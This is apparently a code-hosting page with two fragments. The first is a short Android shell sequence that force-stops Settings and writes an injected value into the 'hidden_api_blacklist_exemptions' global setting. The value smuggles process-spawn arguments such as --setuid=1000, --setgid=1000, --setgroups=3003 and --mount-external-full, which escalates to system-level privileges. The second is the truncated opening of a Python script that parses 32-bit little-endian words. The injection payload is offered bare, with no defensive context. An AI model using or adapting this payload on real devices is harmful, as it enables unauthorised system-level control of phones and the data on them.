This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
am force-stop com.android.settings | |
settings put global hidden_api_blacklist_exemptions "LClass1;->method1( | |
15 | |
--runtime-args | |
--setuid=1000 | |
--setgid=1000 | |
--runtime-flags=2049 | |
--mount-external-full | |
--target-sdk-version=29 | |
--setgroups=3003 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import argparse | |
import struct | |
# little endian, 32-bit words | |
# Could check for magic 0x01020304 / 0x04030201 to determine endianness | |
ENDI = '<' | |
WORD_PAT = ENDI + 'I' | |
WORD_SZ = struct.calcsize(WORD_PAT) |